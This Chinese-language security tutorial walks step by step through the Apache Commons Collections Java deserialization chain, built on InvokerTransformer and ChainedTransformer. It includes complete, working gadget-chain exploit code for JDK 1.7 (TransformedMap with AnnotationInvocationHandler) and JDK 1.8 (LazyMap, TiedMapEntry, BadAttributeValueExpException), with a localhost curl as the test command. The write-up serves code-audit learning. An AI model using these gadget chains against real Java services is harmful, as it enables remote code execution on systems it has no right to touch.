此文为原创文章
作者:p0desta@先知社区
恭喜作者获得
价值100元的天猫超市享淘卡一张
欢迎更多优质原创、翻译作者加入
ASRC文章奖励计划
欢迎多多投稿到先知社区
每天一篇优质技术好文
点滴积累促成质的飞跃
今天也要进步一点点呀
从php代码审计到java代码审计还是有很大不同的,语言特性,漏洞产生的点等等,很多人都是php入门,同样我也是,但是说实话,java也是必须要掌握的,这里我选择分析一些经典的漏洞来熟悉java的代码审计,如果有理解错误的地方,希望得到师傅们的斧正。
首先利用 maven
进行自动下载下来包,看 /org/apache/commons/collections/functors/InvokerTransformer.class
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
这个transform方法里面可以看到有个反射调用 return method.invoke(input, this.iArgs);
,但是只有这里的话显然并不能RCE
继续看 /org/apache/commons/collections/functors/ChainedTransformer.class
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看
public static void main(String[] args) { Transformer[] transformers = { new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Runtime.getRuntime()); }
当传入 transformers
后进行
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
当传入 InvokerTransformer
后
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
这里都会赋值,然后这里就会调用到
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
到
return method.invoke(Runtime.getRuntime(), new Object[] {"curl http://127.0.0.1:10000"});
执行命令,但是这是我们构造出来的,环境中不可能有 transformerChain.transform(Runtime.getRuntime());
这样的操作,我们可以在 /org/apache/commons/collections/functors/ConstantTransformer.class
找到
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
传入了个Object对象,然后transform方法原样返回,看代码
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.getRuntime() ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new test2(transformers); transformerChain.transform("aa"); } } class test2 implements Transformer{ private final Transformer[] iTransformers; public test2(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { System.out.println(object.getClass()); object = this.iTransformers[i].transform(object); } return object; } }
这里我将ChainedTransformer类重写了一些,方便观察调试。
因为在 ConstantTransformer
中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。
那么能否直接这样构造进行序列化呢,编写代码试试
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.getRuntime() ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new test2(transformers); try{ File f = new File("expobject"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(transformerChain); out.flush(); out.close(); }catch (IOException e){ e.printStackTrace(); } try { FileInputStream f = new FileInputStream("expobject"); ObjectInputStream oin = new ObjectInputStream(f); Transformer expobject = (Transformer)oin.readObject(); expobject.transform("cc"); System.out.println(expobject.getClass()); } catch (FileNotFoundException e){ e.printStackTrace(); }catch (ClassNotFoundException e){ e.printStackTrace(); }catch (IOException e){ e.printStackTrace(); } } } class test2 implements Transformer, Serializable{ private final Transformer[] iTransformers; public test2(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { System.out.println(object.getClass()); object = this.iTransformers[i].transform(object); } return object; } }
可以看到实例化后的对象 Runtime
不允许序列化,那么我们继续修改
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new test2(transformers); try{ File f = new File("expobject"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(transformerChain); out.flush(); out.close(); }catch (IOException e){ e.printStackTrace(); } try { FileInputStream f = new FileInputStream("expobject"); ObjectInputStream oin = new ObjectInputStream(f); Transformer expobject = (Transformer)oin.readObject(); expobject.transform("cc"); System.out.println(expobject.getClass()); } catch (FileNotFoundException e){ e.printStackTrace(); }catch (ClassNotFoundException e){ e.printStackTrace(); }catch (IOException e){ e.printStackTrace(); } } } class test2 implements Transformer, Serializable{ private final Transformer[] iTransformers; public test2(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { System.out.println(object.getClass()); object = this.iTransformers[i].transform(object); } return object; } }
整个调用链是
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("curl http://127.0.0.1:10000")
简单整理下调用,不然不是很好理解
object = ConstantTransformer.transform("cc"); public Object transform(Object input) { return Runtime.class; } object = InvokerTransformer.transform(Runtime.class); Class cls = Runtime.class.getClass(); Method method = cls.getMethod("getMethod", this.iParamTypes); return method.invoke("Runtime.class", "getRuntime"); object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime")); Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass(); Method method = cls.getMethod("invoke", this.iParamTypes); return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime"); object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke()); Class cls = Runtime.class.getMethod("getRuntime").invoke().getMethod("getRuntime").getClass(); Method method = cls.getMethod("exec", this.iParamTypes); return method.invoke(Runtime.class.getMethod("getRuntime").invoke(), "curl http://127.0.0.1:10000");
代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下
我们来看 /org/apache/commons/collections/map/TransformedMap.class
protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); }
这里的话只要 valueTransformer
可控即可利用我们上面的调用链,
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
当我们初始化的时候是可以控制的,怎么触发呢,继续看
public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
当进入put方法的时候会触发,根据上面的调用链我们之后 value
是可以任意值的,修改代码
public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); transformedmap.put("1", "2");
这样我们即可进行命令执行。
然后我们要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
但是我并没有找到有对map执行put的操作
这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
什么时候会调用到 checkSetValue
方法呢
在它所继承的父类 AbstractInputCheckedMapDecorator
中
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
有个 MapEntry
的内部类,这里面实现了 setValue
,并且会触发 checkSetValue
,然后我们需要找一个readObject中有对map执行setValue的操作。
在jdk小于1.7的时候 /reflect/annotation/AnnotationInvocationHandler.class
中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
我们先看下payload触发的调用堆栈
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "2"); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap); ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); } }
可以看到通过构造payload将构造的map成功传到var2,继续跟到readObject来看一下
这里如果不动态调一下的话不太好理解
首先是获取了 java.lang.annotation.Retention
的实例,然后跟进到 memberTypes
方法
会返回一个map,继续往下走到 Iterator var4 = this.memberValues.entrySet().iterator();
因为这里 this.memberValues=TransformedMap
对象,然后调用其父类的 entrySet
方法
然后内部类会返回一个迭代器
通过这里我们可以知道为什么key一定要为 value
,我们需要让 var7
这个变量获取到 java.lang.annotation.RetentionPolicy
然后是判断两个是否是实例的判断,然后进入到
然后这里就调用到了
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
进入 checkSetValue
,也就是可以触发的地方,来看
攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链,
我们还可以找到另外一处调 transform
可控的地方,
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
首先,map中如果不包含这个key那么就可以进入 transform
,并且可以看到factory也是我们可控的
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
也就是说只要让 factory
为 transformerChain
对象即可触发,key的值没啥影响
那么什么时候会调用get方法呢,可以找到 /org/apache/commons/collections/keyvalue/TiedMapEntry.class
public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
在toString方法中会调用,那么java中的toString什么时候调用呢
这里的toString方法的作用其实跟php的是差不多的
现在我们我还差一步,就是哪里可以触发这个 toString
进而触发getValue呢
来看 /javax/management/BadAttributeValueExpException.java
中的readObject方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
这里我们并不会触发 setSecurityManager0
的操作,也就是说在 System.getSecurityManager()
会返回null,那么就会触发toString,然后我们只要让val个变量的值为 TiedMapEntry
对象即可触发,因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException ins = new BadAttributeValueExpException(null); Field valfield = ins.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(ins, entry); ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); ois.close(); } }
参考:
https://www.anquanke.com/post/id/82934 https://p0sec.net/index.php/archives/121/ https://security.tencent.com/index.php/blog/msg/97
更
多
精
彩
公众号ID
阿里安全响应中心